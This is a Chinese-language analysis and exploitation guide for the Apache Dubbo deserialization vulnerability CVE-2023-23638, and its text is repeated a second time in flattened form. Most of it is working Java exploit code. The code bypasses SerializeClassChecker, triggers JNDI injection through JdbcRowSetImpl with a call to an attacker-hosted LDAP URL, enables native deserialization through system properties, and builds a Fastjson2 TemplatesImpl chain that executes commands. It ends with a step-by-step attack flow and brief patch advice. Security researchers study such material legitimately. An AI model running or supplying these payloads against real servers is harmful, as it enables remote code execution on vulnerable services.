Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索
字数 1124 2025-08-25 22:58:47

Apache Dubbo 反序列化漏洞(CVE-2023-23638)深度分析与利用指南

漏洞概述

Apache Dubbo是一款高性能的Java RPC框架,广泛应用于分布式服务架构中。CVE-2023-23638是一个存在于Dubbo中的反序列化漏洞,允许攻击者通过泛化调用功能绕过安全限制,执行任意代码。

影响版本

  • Apache Dubbo 2.7.x ≤ 2.7.21
  • Apache Dubbo 3.0.x ≤ 3.0.13
  • Apache Dubbo 3.1.x ≤ 3.1.5

漏洞原理

泛化调用机制

Dubbo的泛化调用允许客户端在没有服务接口的情况下调用服务,通过Map传递参数。漏洞核心在于org.apache.dubbo.rpc.filter.GenericFilter类处理泛化调用请求时的不安全反序列化。

漏洞触发点

当请求中包含generic-raw.return键值对时,会进入PojoUtils.realize()方法,对用户传入的类进行实例化和属性赋值。

安全限制绕过

Dubbo原本通过SerializeClassChecker进行黑名单检查,但可以通过以下方式绕过:

  1. 修改SerializeClassChecker.OPEN_CHECK_CLASS为false
  2. 修改系统属性启用原生Java反序列化

利用方式

方法一:修改SerializeClassChecker实例

private static Map getInstance() throws IOException {
    HashMap newChecker = new HashMap();
    newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
    newChecker.put("OPEN_CHECK_CLASS", false);
    
    HashMap map = new HashMap();
    map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
    map.put("INSTANCE", newChecker);
    
    LinkedHashMap map2 = new LinkedHashMap();
    map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
    map2.put("DataSourceName", "ldap://attacker.com/exp");
    map2.put("autoCommit", true);
    
    HashMap map3 = new HashMap();
    map3.put("class","java.util.HashMap");
    map3.put("1",map);
    map3.put("2",map2);
    return map3;
}

利用链说明

  1. 创建新的SerializeClassChecker实例,设置OPEN_CHECK_CLASS=false
  2. 替换单例INSTANCE
  3. 使用JdbcRowSetImpl触发JNDI注入

方法二:启用原生Java反序列化

private static Map getProperties() throws IOException {
    Properties properties = new Properties();
    properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
    properties.setProperty("serialization.security.check","false");
    
    HashMap map = new HashMap();
    map.put("class", "java.lang.System");
    map.put("properties", properties);
    return map;
}

利用步骤

  1. 修改系统属性启用原生Java反序列化
  2. 发送恶意序列化对象

高级利用技巧

Fastjson2原生反序列化链

在Dubbo 3.1.x中可利用Fastjson2的JSONArray/JSONObject触发TemplatesImpl

public static Object getObject() throws Exception {
    // 创建恶意类字节码
    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.makeClass("a");
    CtClass superClass = pool.get(AbstractTranslet.class.getName());
    clazz.setSuperclass(superClass);
    CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
    constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
    clazz.addConstructor(constructor);
    byte[][] bytes = new byte[][]{clazz.toBytecode()};
    
    // 构造TemplatesImpl
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    setValue(templates, "_bytecodes", bytes);
    setValue(templates, "_name", "test");
    setValue(templates, "_tfactory", null);
    
    // 构造Fastjson2利用链
    JSONArray jsonArray = new JSONArray();
    jsonArray.add(templates);
    
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);
    valfield.set(val, jsonArray);
    
    return val;
}

时区初始化问题解决

在利用Fastjson2时会遇到TzdbZoneRulesProvider初始化问题,可通过预先加载解决:

private static Map getInstance() throws IOException {
    HashMap map = new HashMap();
    map.put("class", "java.time.zone.TzdbZoneRulesProvider");
    return map;
}

完整利用流程

  1. 发送TzdbZoneRulesProvider初始化请求
  2. 修改系统属性启用原生反序列化
  3. 发送Fastjson2利用链

修复建议

  1. 升级到安全版本:

    • Dubbo 2.7.22+
    • Dubbo 3.0.14+
    • Dubbo 3.1.6+
  2. 配置安全限制:

    dubbo.security.serialize.generic.native-java-enable=false
    serialization.security.check=true
    
  3. 加强网络隔离,限制Dubbo服务端口访问

参考链接

  1. Apache Dubbo官方文档
  2. Seebug漏洞分析
  3. 阿里云漏洞分析
Apache Dubbo 反序列化漏洞(CVE-2023-23638)深度分析与利用指南 漏洞概述 Apache Dubbo是一款高性能的Java RPC框架,广泛应用于分布式服务架构中。CVE-2023-23638是一个存在于Dubbo中的反序列化漏洞,允许攻击者通过泛化调用功能绕过安全限制,执行任意代码。 影响版本 Apache Dubbo 2.7.x ≤ 2.7.21 Apache Dubbo 3.0.x ≤ 3.0.13 Apache Dubbo 3.1.x ≤ 3.1.5 漏洞原理 泛化调用机制 Dubbo的泛化调用允许客户端在没有服务接口的情况下调用服务,通过Map传递参数。漏洞核心在于 org.apache.dubbo.rpc.filter.GenericFilter 类处理泛化调用请求时的不安全反序列化。 漏洞触发点 当请求中包含 generic-raw.return 键值对时,会进入 PojoUtils.realize() 方法,对用户传入的类进行实例化和属性赋值。 安全限制绕过 Dubbo原本通过 SerializeClassChecker 进行黑名单检查,但可以通过以下方式绕过: 修改 SerializeClassChecker.OPEN_CHECK_CLASS 为false 修改系统属性启用原生Java反序列化 利用方式 方法一:修改SerializeClassChecker实例 利用链说明 : 创建新的 SerializeClassChecker 实例,设置 OPEN_CHECK_CLASS=false 替换单例 INSTANCE 使用 JdbcRowSetImpl 触发JNDI注入 方法二:启用原生Java反序列化 利用步骤 : 修改系统属性启用原生Java反序列化 发送恶意序列化对象 高级利用技巧 Fastjson2原生反序列化链 在Dubbo 3.1.x中可利用Fastjson2的 JSONArray / JSONObject 触发 TemplatesImpl : 时区初始化问题解决 在利用Fastjson2时会遇到 TzdbZoneRulesProvider 初始化问题,可通过预先加载解决: 完整利用流程 : 发送 TzdbZoneRulesProvider 初始化请求 修改系统属性启用原生反序列化 发送Fastjson2利用链 修复建议 升级到安全版本: Dubbo 2.7.22+ Dubbo 3.0.14+ Dubbo 3.1.6+ 配置安全限制: 加强网络隔离,限制Dubbo服务端口访问 参考链接 Apache Dubbo官方文档 Seebug漏洞分析 阿里云漏洞分析